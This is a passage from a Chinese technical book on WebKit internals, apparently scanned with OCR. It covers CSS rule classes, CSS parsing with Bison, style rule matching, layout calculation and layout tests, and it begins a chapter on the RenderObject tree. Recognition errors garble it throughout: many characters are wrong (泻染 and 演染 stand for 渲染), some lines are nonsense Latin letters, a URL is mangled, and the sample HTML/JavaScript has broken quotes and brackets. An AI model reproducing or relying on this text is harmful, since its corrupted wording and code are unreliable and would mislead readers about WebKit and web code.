过 程 的 主要 负责 者 是 StyleSheetResolver 类 ， 它 属于 Document 类 ， 并 包含 
了 一 个 DocumentRuleSets 类 用 来 表示 多 个 规则 集合 (RuleSet) 。 每 个 规 
则 集合 都 是 将 之 前 解释 之 后 的 结果 合并 起 来 ， 并 进行 分 类 ， 例 如 id 类 规 
则 、 标 签 类 规则 等 。 至 于 为 什么 是 多 个 规则 集合 ， 是 因为 这 些 规 则 集合 
可 能 源 自 于 默认 的 规则 集合 《前 面 提 到 过 WebKit 使 用 默认 的 CSS 样 式 信 
轧 ) ， 或 者 网 页 自 定 义 的 规则 集合 等 。 











下 面 让 我 们 更 进一步 重点 介绍 样式 规则 。 样 式 规 则 是 解释 需 的 输出 
结构 ， 是 样式 匹配 的 输入 数据 。 样 式 规则 有 很 多 类 型 ， 图 6-6 描 述 了 这 


些 类 和 继承 关系。 
—_ 
V V 
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图 6-6 StyleRuleBase 和 它 的 子 类 们 





Style: 这 个 是 基本 类 型 ， 大 多 数 规则 属于 这 个 类 型 。 

Import: 是 WebKit 中 为 了 方便 而 引入 的 ， 其 对 应 的 是 一 个 导入 CSS 
文件 的 Style 元 素 。 

Media: 对 应 于 CSS 标 准 中 的 @media 类 型 。 

Fontface: CSS3 新 引入 的 自 定 义 字 体 的 规则 类 型 。 

Page: ”对 应 于 CSS 标 准 中 的 @page 类 型 。 

Keyframes: ”对 应 于 WebKit 中 的 @-webkit-key-frames 类 型 ， 可 以 用 
来 定制 特定 帧 的 样式 属性 信息 。 

Region: ”对 CSS 标 准 正 在 进行 中 的 Regions 的 支持 ， 这 方便 了 开发 
者 对 页 面 进行 分 区 域 排 版 。 





这 些 类 基本 上 跟 CSS 的 标准 相对 应 ， 当 然 也 有 特例 ， 那 就 是 
StyleRuleImport， 它 是 WebKit 引 入 的 一 个 新 的 类 型 ， 主 要 对 应 的 是 导入 
CSS 文 件 的 元 素 。 


接 下 来 剖析 规则 的 内 部 是 如 何 组 成 和 表示 的 。 图 6-7 描 述 的 是 一 个 
CSS 规 则 《从 示例 代码 6-1 中 获取 〉 和 WebKit 的 内 部 结构 表示 类 。 
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图 6-7 CSS 样 式 规则 和 WebKit 的 内 部 结构 表示 类 








首先 最 外 层 的 是 样式 规则 ， 通 肖 一 个 样式 表 可 能 包括 一 个 或 者 多 个 
样式 规则 ， 这 里 摘 述 的 样式 规则 对 应 于 图 6-6 中 的 StyleRule 类 。 





然后 是 选择 器 部 分 ， 图 的 上 半 部 分 是 一 个 选择 器 列表 ， 这 在 现实 中 
是 比较 常见 的 ， 因 为 选择 的 条 件 可 能 有 多 个 。 举 个 例 
Fe T ee eee oe a eae 
个 标签 选择 器 ;第 二 个 是 “[class=abc]”， 它 是 一 个 属性 选择 器 。 这 两 个 
选择 器 合 起 来 的 含义 就 是 匹配 元 素 是 “a ER 别 为 “abc”。 
选择 器 在 WebKit 的 内 部 表示 是 CSSSelector 类 。 在 规则 中 ，CSSSelector 


类 使 用 一 个 对 象 列表 来 表示 它们 。 











最 后 是 这 个 规则 对 应 的 属性 集合 CSSPropertySet。WebKit 使 用 了 一 
些 类 来 分 别 表 示 属 性 名 字 CSSPropertyID 中 、 属 性 值 CSSValue。 图 6-7 清 


晰 地 描述 了 它们 的 结构 。 





6.2.2 ”解释 过 程 


CSS 解 释 过 程 是 指 从 CSS 字 符 串 经 过 CSS 解 释 堪 处 理 后 变 成 泻 染 引 
擎 的 内 部 规则 表示 的 过 程 。 在 WebKit 中 ， 这 一 过 程 如 图 6-8 所 示 。 


StyleSheetContents CSSParser CSSGrammer StyleRule 


| 1: parseSheet | 


1.1: cssyyparse 


| 
| 
| 
u 

1.1.1: startSelector 

1.1.2: endSelector 

1.1.3: startRuleBody 


1.1.4: startProperty 


1.1.5: parse Value 


1.1.6: createStyleRule 


1.1.6.1: create 
1.1.6.2: endRule Bodh 


| | | 
图 6-8 0SS 解 释 器 的 工作 过 程 


1.1.7: parserAppendRule 





这 一 过 程 并 不 复杂 ， 基 本 的 思想 是 由 CSSParser 类 负责 。CSSParser 
类 其 实 也 是 桥接 类 ， 实 际 的 解释 工作 是 由 CSSGrammer.y.in 来 完成 。 
CSSGrammer.y.in 是 Bison 的 输入 文件 ，Bison 是 一 个 生成 解释 器 的 工具 。 
Bison 根 据 CSSGrammer.y.in 生 成 CSS 解 释 器 一 一 CSSGrammer 类 。 当 然 
CSSGrammer 类 需要 调用 CSSParser 类 来 处 理解 释 结果 ， 例 如 需要 使 用 
CSSParser 类 创建 选择 器 对 象 、 属 性 、 规 则 等 。 





图 6-8 描 述 的 正 是 这 一 过 程 。 当 WebKit 需 要 解释 CSS 内 容 的 时 候 ， 
它 调用 CSSParser 对 象 来 设置 CSSGrammer 对 象 等 ， 解 释 过 程 中 需要 的 回 





调 函 数 由 CSSParser 来 负 贡 处 理 ， 最 后 WebKit 将 创建 好 的 结果 直接 设置 
到 StyleSheetContents 对 象 中 ， 这 一 过 程 显得 直接 而 且 简 单 。 





在 解释 网 页 中 自 定义 的 CSS 样 式 之 前 ， 实 际 上 WebKit 演 染 引 擎 会 为 
每 个 网 页 设置 一 个 默认 的 样式 ， 这 决定 了 网 页 所 没有 设置 的 元 素 属性 及 
其 属性 默认 值 和 将 要 显示 的 效果 。 一 般 来 讲 ， 不 同 的 WebKit 移 植 可 以 设 
置 不 同 的 默认 样式 。 下 面 是 Chrome 浏 览 器 使 用 的 默认 样式 ， 这 些 样式 
决定 了 默认 的 网 页 显示 效果 。 





"html, body,div{ display:block }head{display:none}body{margin:8px}div 
span:focus{outline:auto opx-webkit-focus-ring-color}a:-webkit-any- 
link{color:-webkit-link;text-decoration:underline } a:-webkit-any- 


link: active { color:-webkit-activelink }" 


6.2.3 ”样式 规则 匹配 


样式 规则 建立 完成 之 后 ，WebKit 保 存 规 则 结果 在 DocumentRuleSets 
对 象 类 中 。 当 DOM 的 节点 建立 之 后 ，WebKit 会 为 其 中 的 一 些 节 点 《只 
限于 可 视 节 点 ， 在 第 7 章 中 介绍 ) 选择 合适 的 样式 信息 。 根 据 前 面 的 摘 
述 ， 这 些 工作 都 是 由 StyleResolver 来 负责 的 。 当 然 ， 实 际 的 匹配 工作 还 
是 在 DocumentRuleSets 类 中 完成 的 。 











图 6-9 描 述 了 参与 样式 规则 匹配 的 WebKit 主 要 相关 类 。 基 本 的 思路 
是 使 用 StyleResolver 类 来 为 DOM 的 元 素 节点 匹配 样式 。StyleResolver 类 
根据 元 素 的 信息 ， 例 如 标签 名 、 类 别 等 ， 从 样式 规则 中 查找 最 匹配 的 规 
则 ， 然 后 将 样式 信息 保存 到 新 建 的 RenderStyle 对 象 中 。 最 后 ， 这 些 
RenderStyle 对 象 被 RenderObject 类 所 管理 和 使 用 。 
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图 6-9 ”CSS 样式 规则 匹配 使 用 的 主要 WebKit 类 





规则 的 匹配 则 是 由 ElementRuleCollector 类 来 计算 并 获得 ， 它 根据 元 
素 的 属性 等 信息 ， 并 从 DocumentRuleSets 类 中 获取 规则 集合 ， 依 次 按照 
ID、 类 别 、 标 签 等 选择 器 信息 逐次 匹配 获得 元 素 的 样式 。 那 么 具体 的 过 
程 如 何 呢 ? 图 6-10 为 我 们 描述 了 WebKit 如 何 为 HTML 元 素 获 取样 式 并 从 
规则 集合 中 匹配 的 过 程 。 
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1.4: collectMatchingRules 
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1.8: return RenderStyle 
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图 6-10 “为 HTML 元 素 获 取样 式 和 WebKit 的 样式 规则 匹配 过 程 





首先 ， 当 WebKit 需 要 为 HTML 元 素 创 建 RenderObject 类 的 时 候 ， 首 
先 StyleResolver 类 负责 获取 样式 信息 ， 并 返回 RenderStyle 对 象 ， 
RenderStyle 对 象 包含 了 匹配 完 的 结果 样式 信息 。 











FUR, PRK bok, BENTO H He m SADLER, W 
EAP REE Childs) 规则 集合 、 用 户 规则 集合 和 HTML 网 页 中 包含 
的 上 自 定 义 规 则 集合 。 这 三 个 规则 的 匹配 方式 是 类 似 的 ， 这 里 是 以 目 定 义 
规则 的 匹配 为 例 加 以 说 明 的 。 








再 次 ， 对 于 自 定 义 规 则 集合 ， 它 先 查 找 ID 规 则 ， 检 查 有 无 匹配 的 规 
则 ， 之 后 依次 检查 类 型 规则 、 标 签 规则 等 。 如 果 某 个 规则 匹配 上 该 元 
素 ，WebKit 把 这 些 规则 保存 到 匹配 结果 中 。 














最 后 ，WebKit 对 这 些 规则 进行 排序 。 对 于 该 元 素 需 要 的 样式 属性 ， 
WebKit 选 择 从 高 优先 级 规则 中 选取 ， 并 将 样式 属性 值 返 回 。 


6.2.4 实践: 样式 匹配 


为 了 理解 样式 的 实际 匹配 过 程 和 结果 ， 以 网 
页 “http:VWlab.hakim.sereveal-js/ 为 例 ， 详 细 的 步骤 如 下 。 


首先 ， 打 开 Chrome 浏 览 器 输入 上 述 网 页 地 址 ， 并 打开 开发 者 工 
H, “Elements” tEh. 


其 次 ， 在 开发 者 工具 中 单 击 “ 打 开 网 页 的 源 代码 ”按钮 ， 选 
择 “body” 元 素 ， 在 开发 者 工具 的 右 侧 ， 读 者 会 看 到 如 图 6-11 左 边 部 分 所 
示 经 过 计算 的 该 元 素 的 匹配 结果 样式 (Computed Style) 。 用 户 甚至 可 
以 直接 在 开发 者 工具 中 修改 属性 值 ， 看 看 它们 是 如 何 影响 布局 的 。 























元 素 的 样式 计算 结果 元 素 的 样式 匹配 详情 


图 6-11 网 页 的 样式 计算 和 规则 匹配 


最 后 ， 查 看 一 下 “styles” 中 的 “Matched CSS Rules”"， 这 些 规则 能 够 匹 
配 上 该 节点 的 规则 列表 ， 但 是 不 同 的 属性 可 能 来 源 于 不 同 的 规则 。 在 本 
例 中 ， 读 者 可 以 看 到 图 6-11 中 右边 的 部 分 就 是 当前 匹配 上 的 各 个 样式 规 
则 ， 它 们 来 源 于 不 同 的 CSS 样 式 表 中 不 同 的 规划。 前 面 四 个 规则 来 源 于 
网 页 自 定 义 的 样式 表 ， 最 后 一 个 “user agent stylesheet” 来 源 于 浏览 器 默认 
样式 表 。 这 些 规则 中 有 些 对 属性 的 设置 有 冲突 ， 当 然 规则 按照 CSS 标 准 
定义 的 优先 级 来 选择 。 图 中 被 线 划 挥 的 表示 该 属性 没有 对 当前 元 素 起 作 
用 ， 这 包含 了 两 种 情形 : 第 一 是 属性 设置 错误 ; 第 二 是 被 更 高 优先 级 的 
规则 属性 敢 盖 。 开 发 者 通过 元 素 的 具体 匹配 规则 可 以 调试 和 修改 自己 的 
样式 规则 。 




















6.2.5 JavaScript 设置 样式 


CSSOM 定 义 了 JavaScript 访 问 样式 的 能 力 和 方式 。 示 例 代码 6-1 中 的 
第 29 行 所 示 的 是 使 用 CSSOM 接 口 来 更 改 属性 值 的 。 在 WebKit 中 ， 这 需 
要 JavaScript 引 擎 和 泻 染 引擎 协同 完成 。 为 了 描述 这 一 过 程 ， 可 能 会 涉及 
到 一 些 JavaScript 引 擎 的 调用 ， 目 前 比较 难以 理解 ， 所 以 读者 只 需要 有 一 
个 大 致 的 印象 即 可 ， 在 第 9 章 的 JavaScript 引 擎 中 会 有 更 详细 和 系统 的 介 


绍 。 








大 致 的 过 程 是 ，JavaScript 引 擎 调用 设置 属性 值 的 公共 处 理 函 数 ， 然 
后 该 函数 调用 属性 值 解析 函数 ， 在 这 个 例子 中 则 是 CSS 的 JavaScript 绑 定 
函数 。 而 后 WebKit 将 解析 后 的 信息 设置 到 元 素 的 “style” 属 性 的 样 
式 “webkitTransform” 中 ， 然 后 设置 标记 表明 该 元 素 需 要 重新 计算 样式 ， 
并 触发 重新 计算 布局 。 最 后 就 是 WebKit 的 重新 绘图 ， 图 6-12 描 述 了 其 中 
的 主要 过 程 。 


























v8::internal::JSObject::SetProperty WithInterceptor 


V8CSSStyleDeclaration::namedPropertySetter 
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图 6-12 WebKit4] #4eJavaScr ipt 引擎 设置 样式 


6.3 WebKit 布局 
6.3.1 ”基础 


当 WebKit 创 建 RenderObject 对 象 之 后 ， 每 个 对 象 是 不 知道 自己 的 位 
置 、 大 小 等 信息 的 ，WebKit 根 据 框 模型 来 计算 它们 的 位 置 、 大 小 等 信息 
的 过 程 称 为 布局 计算 〈 或 者 称 为 排版 ) 。 


图 6-13 描 述 了 这 一 过 程 中 涉及 的 主要 WebKit 类 。 第 5 章 描 述 过 Frame 
类 ， 用 于 表示 网 页 的 框 结构 ， 每 个 框 都 有 一 个 FrameView 类 ， 用 于 表示 
框 的 视图 结构 。 





RenderObject 


+layout() +layout() 
+needsLayout() +needsLayout() 





图 6-13 布局 计算 中 的 主要 WebKit 类 





FrameView 类 主要 负责 视图 方面 的 任务 ， 例 如 网 页 视图 大 小 、 湾 
动 、 布 局 计算 、 绘 图 等 ， 它 是 一 个 总 入 口 类 。 图 中 标注 了 两 个 跟 布 局 计 
算 密切 相关 的 函数 “ayout” 和 “needsLayout”， 它 们 用 来 布局 计算 和 

















决定 是 否 需 要 布局 计算 ， 实 际 的 布局 计算 则 是 在 RenderObject 类 中 。 





布局 计算 根据 其 计算 的 范围 大 致 可 以 分 为 两 类 : 第 一 类 是 对 整 
RenderObject 树 进行 的 计算 ， 第 二 类 是 对 RenderObject 树 中 某 个 子 树 . ++ 
算 ， 常 见于 文本 元 素 或 者 是 overflow:auto 块 的 计算 ， 这 种 情况 一 般 是 其 
子 树 布局 的 改变 不 会 影响 其 周围 元 素 的 布局 ， 因 而 不 需要 重新 计算 更 大 
范围 内 的 布局 。 


6.3.2 ”布局 计算 


布局 计算 是 一 个 递归 的 过 程 ， 这 是 因为 一 个 节点 的 大 小 通常 需要 先 
计算 它 的 子女 节点 的 位 置 、 大 小 等 信息 

















图 6-14 朱 述 了 RenderObjectm 点 计算 布局 的 主要 过 程 ， 中 间 省 略 了 
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图 6-14 布局 计算 过 程 





HA 该 函数 会 判断 RenderObject 节 点 是 否 需 要 重新 计算 ， 通常 这 
ra 通过 检查 位 数组 中 的 相应 标记 位 、 子 女 是 否 需要 计算 布局 等 来 确 








其 次 ， 该 函数 会 确定 网 页 的 宽度 和 垂直 方向 上 的 外 边 距 ， 这 是 因为 
网 页 通 党 是 在 亚 直 方向 上 滚动 而 水 平方 向 尽量 不 需要 滚动 。 

















再 次 ， 该 函数 会 遇 历 其 每 一 个 子女 节点 ， 依 次 计算 它们 的 布局 。 每 
一 个 元 素 会 实现 自己 的 ”layout”" 函 数 ， 根 据 特定 的 算法 来 计算 该 类 型 元 
素 的 布局 。 如 果 页 面 元 素 定 义 了 自身 的 宽 高 ， 那 么 WebKit 按 照 定 义 的 宽 
ae. 的 大 小 ， 而 对 于 像 文 本 节点 这 样 的 内 联 元 素 则 需要 结合 其 

号 大 小 及 文字 的 多 少 等 来 确定 其 对 应 的 宽 高 。 如 果 页 面 元 素 所 确定 的 
i ee ee 
visible 或 aato，WebKit 则 会 提供 滚动 条 来 保证 可 以 显示 其 所 有 内 容 。 除 
非 网 页 定义 了 页 面 元 素 的 宽 高 ， 一 般 来 说 页 面 元 素 的 宽 高 是 在 布局 的 时 
候 通 过 相关 计算 得 出 来 的 。 如 果 元 素 它 有 子女 ， 则 WebKit 需 要 递归 这 
过 程 。 









































最 后 ， 节 点 根据 它 的 子女 们 的 大 小 计算 得 出 自己 的 高 度 ， 整 个 过 程 
结束 。 





哪些 情况 下 需要 重新 计算 布局 呢 ? 总 体 来 讲 ， 只 要 样式 发 生变 化 ， 
WebKit 都 需要 重新 计算 ， 但 是 实际 场景 中 ， 有 以 下 一 些 情况 。 





自 先 ， 当 网 页 站 次 被 打开 的 时 候 ， 浏 览 器 设置 网 页 的 可 视 区 域 
(viewport) ， 并 调用 计算 布局 的 方法 。 这 其 实 也 描述 了 一 种 常见 的 情 
景 ， 就 是 当 可 视 区 域 发 生变 化 的 时 候 ，WebKit 都 需要 重新 计算 布局 ， 这 
是 因为 网 页 的 包含 块 的 大 小 发 生 了 改变 。 








其 次 ， 网 页 的 动画 会 触发 布局 计算 。 当 网 页 显示 结束 后 ， 动 画 可 能 
改变 样式 属性 ， 那 么 WebKit 就 需要 重新 计算 。 





然后 ，JavaScript 代 码 通过 CSSOM 等 直接 修改 样式 信息 ， 它 们 也 会 


触发 WebKit 重 新 计算 布局 。 





最 后 ， 用 户 的 交互 也 会 触发 布局 计算 ， 例 如 翻滚 网 页 ， 这 会 触发 新 
区 域 布局 的 计算 。 


CSS 的 布局 计算 是 以 包含 块 和 框 模型 为 基础 的 ， em 
布局 计算 都 依赖 于 块 ， 例 如 “div” 通 常 就 是 一 个 块 ， 如 前 面 所 述 它们 通 
是 在 垂直 方向 上 展开 。 但 是 ，CSS 标 准 也 规定 了 行 布局 形式 ， cree 
FTC ARR TUR AMA ETT THIN, We he Peo me AAT BENT 
示 。 以 “div” 元 素 为 例 ， 如 果 设 置 属性 “style” 为 “display:inline” 时 ， 则 该 
元 素 是 内 联 元 素 ， 那 么 它 可 能 与 前 面 的 元 素 在 同一 行 。 如 果 该 元 素 没有 
设置 这 个 属性 时 ， 则 是 块 元素 ， 那 么 在 新 的 行 里 显示 。 这 显然 会 增加 处 
理 的 复杂 性 ， 为 此 ，WebKit 的 处 理 方 式 是 一 一 对 于 一 个 块 元 素 对 应 的 
RenderObject 对 象 ， 它 的 子女 要 么 都 是 块 元 素 的 RenderObject 对 象 ， 要 人 么 
都 是 非 内 联 元 素 对 应 的 RenderObject 对 象 ， 这 可 以 通过 建立 匿名 块 
(Anonymous Block) 对 象 来 实现 ， 在 下 一 章 也 会 作 介 绍 。 乌 





























布局 计算 相对 也 是 比较 耗 时 间 的 ， 更 粳 糕 的 是 ， 一 旦 布局 发 生变 
化 ，WebKit 就 需要 后 面 的 重新 绘制 操作 。 男 一 方面 ， 减少 样式 的 变动 而 
依赖 现在 HTML5 的 新 功能 可 以 有 效 地 提高 网 页 的 泻 染 效率 ， 这 些 在 后 
面 介 绍 绘图 的 时 候 一 并 分 析 。 


6.3.3 ”布局 测试 


在 这 里 介绍 布局 测试 (Layout Tests) 钥 似 也 有 点 文 不 对 题 ， 因 为 其 
实 布 局 测试 不 仅 测 试 布局 ， 还 包括 演 染 等 综合 演 染 结果 。 本 党 主要 介 绍 
CSS 的 样式 计算 和 布局 计算 ， 不 过 它们 也 或 多 或 少 存在 联系 。 











布局 测试 可 以 说 是 webKit 中 最 重要 并 且 最 著名 的 测试 了 了， 用 于 测试 
网 页 的 整个 演 染 结果 ， 包 括 网 页 加 载 和 泻 染 整个 过 程 。 演 染 引 敬 要 人 处理 
各 式 各 样 越 来 越 复 杂 的 网 页 ， 这 需要 布局 测试 来 保证 引擎 的 泻 染 结果 的 
正确 性 。 基 本 测试 工作 方式 是 : 预先 准备 大 量 用 于 单元 测试 的 网 页 和 期 
望 的 泻 染 结果 ， 然 后 使 用 WebKit 编 译 出 来 的 DumpRenderTree (DRT) 
来 测试 网 页 ， 把 得 到 的 结果 和 期 望 的 结果 进行 对 比 ， 以 检查 WebKit 引 擎 
对 网 页 排版 布局 等 的 正确 性 。 每 个 webKit 的 移植 都 会 提供 一 个 
DumpRenderTree, _ 通常 由 于 移植 的 差异 性 ， 它 们 的 期 望 结果 也 不 一 
样 ， 所 以 通常 每 个 移植 都 有 特殊 的 期 望 结 

















每 个 测试 都 会 有 一 个 或 者 多 个 期 望 结果 ， 一 般 情况 下 ， 期 望 结果 是 
一 些 文本 结果 。 但 是 ， 对 一 些 复杂 的 测试 ， 单 纯 的 文本 不 能 够 满足 需 
求 ， 因 为 测试 泻 染 结果 可 能 需要 比较 布局 、 字 体 、 图 片 等 ， 所 以 这 时 候 
期 望 结果 其 实 是 一 幅 图 片 《 还 有 其 他 类 型 ) ， 这 个 图 片 其 实 才 是 网 页 应 
该 泻 染 的 结果 。 可 惜 的 是 ， 由 于 字体 、 平 台 的 样式 等 送 异 性 〈 如 Qt 
GTK 等 就 不 一 样 ) ， 相 同 的 网 页 泻 染 出 的 结果 可 能 不 一 样 ， 所 以 ， 读 者 
可 以 看 到 布局 测试 对 不 同 的 移植 会 有 不 同 的 期 望 结 果 。 





一 般 来 讲 ， 当 开发 者 提交 新 的 代码 补丁 包 时 ， 需 要 先进 行 布局 测 
试 ， 只 有 当 该 测试 通过 并 且 没 有 造成 其 他 的 测试 出 现 新 错误 的 时 候 ， 才 
有 可 能 被 WebKit 项 目 所 接受 。 如 采访 者 提交 代码 的 目的 是 解决 一 个 新 问 
题 ， 那 么 ， 强 烈 建议 读者 提交 一 个 新 的 测试 用 例 来 保证 代码 的 正确 性 。 











D 为 了 考虑 效率 ， 属 性 名 的 字符 串 会 被 转换 成 ID。 


(2) 在 描述 CSS 的 时 候 ， 读 者 可 能 会 发 现 其 实 里 面 有 很 多 复杂 的 特殊 处 理 情况 ， 这 些 更 多 是 
特别 细节 层次 上 的 处 理 ， 有 兴趣 的 读者 可 以 在 RenderObject 类 和 它 的 子 类 中 阅读 并 理解 这 些 细 









































第 7 草 ” 演 染 基 础 


在 第 6 章 中 ， 笔 者 详细 解释 了 CSS 样 式 如 何 被 解释 器 处 理 和 匹配 ， 
以 及 WebKit 如 何 进行 布局 计算 。 实 际 上 ，WebKit 的 布局 计算 使 用 
RenderObject 树 并 保存 计算 结果 到 RenderObject 树 中 。RenderObject 树 同 
其 他 树 (如 RenderLayer 树 等 ) ， 构 成 了 WebKit 演 染 的 主要 基础 设施 。 
本 章 介 绍 实现 WebKit 为 网 页 泻 染 而 构造 的 各 种 类 型 的 内 部 结构 表示 ， 并 
介绍 基本 的 网 页 软件 泻 染 方 式 ， 这 些 内 部 结构 和 渲染 方式 设施 对 WebKit 
而 言 既是 必要 的 组 成 ， 又 能 对 性 能 问题 产生 重要 的 影响 。 








7.1 RenderObject 树 


7.1.1 RenderObject 基 础 类 


为 了 解释 本 章 的 内 容 ， 首 先 使 用 一 个 网 页 示例 代码 来 说 明 。 示 例 代 
人 码 7-1 是 一 个 网 页 的 源 代码 ， 它 的 结构 很 简单 ， 主 要 由 一 些 HTML 基 本 元 
素 组 成 ， 例 如 html、head、div、a、img、table 等 ， 然 后 它 还 包含 了 一 个 
特别 的 HTML5 元 素 一 一 canvas， 而 且 还 有 一 小 上 段 JavaScript 代 人 码 。 考 上 处 
到 一 些 没有 很 强 HTML5 背 景 的 读者 ， 简 单 解释 一 下 这 上 段 JavaScript 代 人 码 
的 含义 。 这 上 段 代 码 是 为 “canvas” 元 素 创 建 一 个 WebGL (3D 绘 图 技术 ) 的 
上 下 文 对 象 (Context) ， 有 了 这 个 对 象 ，Web 开 发 者 就 可 以 在 canvas 元 
素 上 绘制 任何 3D 的 内 容 。 这 个 类 似 于 OpenGL 或 者 OpenGLES 的 上 下 文 
概念 ， 关 于 canvas 元 素 、canvas2D 和 WebGL 会 在 第 8 章 中 做 介绍 。 








示例 代码 7-1 一 个 简单 的 网 页 示例 源 代码 


<html> 
<head> 
</head> 
<body> 
<div> abc</div> 
<canvas id=""webgl" width=""86" height=""86"></canvas> 
<a href="“http://thisisaa'></a> 
<img></img> 
<input type=""button"></input> 
<select></select> 
<table width="166" height=""56"'> 
<tr> 
<td> d6< /td> 
</tr> 
</table> 


<script type=""text/javascript"™> 


Var canvas = document .getElementByld("webgl"'); 

var gl = canvas.getContext("“experimental—-webgl""}; 

if ¢€tgl)} < 
alert("There's no WebGL context available.""); 
return; 

? 

</script> 
</body> 
</html> 


上 面 的 代码 经 过 WebKit 解 释 之 后 ， 生 成 的 DOM 树 读者 应 该 能 够 很 
容易 想象 得 出 。 在 DOM 树 构建 完成 之 后 ，WebKit 所 要 做 的 事情 就 是 为 
DOM 树 节点 构建 RenderObject 树 。 那 么 什么 是 RenderObject 呢 ? 它 的 作 
用 是 什么 呢 ? 下 面 笔者 就 逐步 来 揭 开 它 的 面纱 。 





在 DOM 树 中 ， 某 些 节 点 是 用 户 不 可 见 的 ， 也 就 是 说 这 些 只 是 起 一 
些 其 他 方面 而 不 是 显示 内 容 的 作用 。 例 如 表示 HTMEL 文 件 头 的 “meta” 节 
点 ， 在 最 终 的 显示 结果 中 ， 用 户 是 看 不 到 它 的 存在 的 ， 笔 地 称 之 为 “ 非 
可 视 化 节点 ”。 该 类 型 其 实 还 包含 很 多 元 素 ， 例 如 示例 代码 7-1 中 
的 “head”、“script”* 和 等。 而 另外 的 节点 束 是 用 来 展示 网 页 内 容 的 ， 例 如 示 
例 代 码 7-1 中 的 “body”、“div”、“span”、“canvas”、“img” 等 ， 这 些 节 点 可 
以 显示 一 块 区域 ， 如 文字 、 图 片 、2D 图 形 等 ， 被 称 为 “可 视 节 点 ”。 








对 于 这 些 “ 可 视 节 点 ”"， 因 为 WebKit 需 要 将 它们 的 内 容 绘 制 到 最 终 的 
网 页 结果 中 ， 所 以 WebKit 会 为 它们 建立 相应 的 RenderObject 对 象 。 一 个 


RenderObject 对 象 保 存 了 为 绘制 DOM 节 点 所 需要 的 各 种 信息 ， 例 如 样式 
布局 信息 ， 经 过 WebKit 的 处 理 之 后 ，RenderObject 对 象 知道 如 何 绘制 目 
已 。 这 些 RenderObject 对 象 同 DOM 的 节点 对 象 类 似 ， 它 们 也 构成 一 棵 
树 ， 在 这 里 我 们 称 之 为 RenderObject 树 。RenderObject 树 是 基于 DOM 树 
建立 起 来 的 一 柠 新 树 ， 是 为 了 布局 计算 和 谊 染 等 机 制 而 构建 的 一 种 新 的 
内 部 表示 。RenderObject 树 节点 和 DOM 树 节点 不 是 一 一 对 应 关系 ， 那 么 
哪些 情况 下 为 一 个 DOM 市 点 建立 新 的 RenderObject 对 象 呢 ?以 下 是 三 条 
规则， 从 这 些 规则 出 发 会 为 DOM 树 节点 创建 一 个 RenderObject 对 象 。 











e DOM 树 的 document 节 点 。 

。DOM 树 中 的 可 视 节 点 ， 例 如 html、body、div 等 。 而 WebKit 不 会 为 
韭 可 视 化 节点 创建 RenderObject 节 点 ， 例 如 上 面 提 到 的 一 些 例子 。 

o 某 些 情况 下 WebKit 需 要 建立 匿名 的 RenderObject 节 点 ， 该 节点 不 对 
应 于 DOM 树 中 的 任何 节点 ， 而 是 WebKit 处 理 上 的 需要 ， 典 型 的 例 
子 就 是 匿名 的 RenderBlock 节 点 。 





前 面 介绍 了 影子 DOM， 那 么 WebKit 该 如 何 处 理 影子 DOM 树 中 的 节 
点 呢 ? WebKit 处 理 影子 DOM 没 有 什么 特别 的 不 同 ， 虽 然 JavaScript 代 码 
没 法 访问 影子 DOM， 但 是 WebKit 需 要 创建 并 泻 染 RenderObject。 


WebKit 在 创建 DOM 树 被 创建 的 同时 也 创建 RenderObject 对 象 。 当 
然 ， 如 果 DOM 树 被 动态 加 入 了 新 节点 ，WebKit 也 可 能 创建 相应 的 
RenderObject 对 象 。 图 7-1 示 例 的 是 RenderObject 对 象 被 创建 时 所 涉及 的 


主要 类 。 


+attach() 


NodeRenderingContext 


+createRendererlfNeeded() 
+createRenderer() 


+createRendererForElementlfNeeded() 
+createRendererForTextlfNeeded () 

i +parentRenderer() 

+nextRenderer() 





RenderObject 


+createObject() 
+addChild() 


图 7-1 从 DOM 节 点 到 创建 Render0bject 节 点 


每 个 Element 对 象 都 会 递归 调用 “attach”* 函 数 ， 该 函数 检查 Element 对 
象 是 否 需 要 创建 RenderObject。 如 果 需 要 ， 该 水 数 会 使 用 
NodeRenderingContext 类 来 根据 DOM 节 点 的 类 型 来 创建 对 应 的 
RenderObject 节 点 。 








DOM 树 中 ， 元 系 节 点 包含 很 多 类 型 。 同 DOM 树 一 样 ， 
RenderObject 树 中 的 节点 也 有 很 多 类 型 。 图 7-2 摘 述 了 RenderObject 类 和 
它 的 主要 子 类 。 图 中 间 的 是 RenderObject 类 ， 它 包含 了 RenderObject 的 主 
要 虚 函 数 ， 大 概 可 以 分 成 以 下 几 类 。 





。 为 了 授 历 和 修改 RenderObject 树 而 涉及 的 众多 函数 ， 裔 历 操 作 函 数 
如 parent()、firstChild()、nextSibling()、previousSibling() 和 等， 修改 操 
作 函 数 如 addChild()、removeChild() 等 。 

。 用 来 计算 布局 和 获取 布局 相关 信息 的 函数 ， 例 如 layout()、style()、 
enclosingBox(). 

。 用 来 判断 该 RenderObject 对 象 属于 哪 种 类 型 的 子 类 ， 这 里 面 有 各 式 
各 样 的 类 似 “IsASubClass” 的 函数 ， 这 些 函 数 可 以 知道 它们 的 类 型 以 
作 相 应 的 转换 。 

e 跟 RenderObject 对 象 所 在 的 RenderLayer 对 象 相关 的 操作 ， 这 些 操作 








将 在 下 一 节 中 再 描述 。 
。 坐标 和 绘图 相关 的 操作 ，WebKit 使 用 这 些 操作 让 RenderObject 对 象 
将 内 容 绘 制 在 传 入 的 绘制 结果 对 象 中 ， 例 如 paint()、repaint() 等 。 


其 实 WebKit 还 定义 了 其 他 各 式 各 样 的 类 ， 这 里 只 描述 一 些 主要 部 分 
和 后 面 使 用 到 的 函数 。 
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图 7-2 RenderOb ject 基 类 和 它 的 主要 子 类 


RenderBoxModelObject 类 是 描述 所 有 跟 CSSs 中 的 框 模型 相关 联 类 的 
基 类 ， 所 以 读者 能 够 看 到 子 类 例如 RenderInline 类 (div:inline-box) 和 
RenderBox 类 。RenderBox 类 则 是 使 用 箱子 模型 的 类 ， 它 包括 了 外 边 距 、 
边框 、 内 边 距 和 内 容 等 信息 。 








RenderBlock 类 用 来 表示 块 元 素 。 为 了 处 理 上 的 方便 ，WebKit 某 些 
情况 下 需要 建立 匿名 的 RenderBlock 对 象 ， 因 为 RenderBlock 的 子女 必须 
都 是 内 髋 的 元 系 或 者 都 是 非 内 髋 的 元 素 。 有 所 以 ， 当 RenderBlock 对 象 包 
含 两 种 元 素 的 时 候 ，WebKit 会 为 相 邻 的 内 骸 元 素 创 建 一 个 块 季 点 ， 也 就 
是 RenderBlock 对 象 ， 然 后 设置 该 对 象 为 原先 内 骸 元 素 父 杀 的 子女 ， 最 
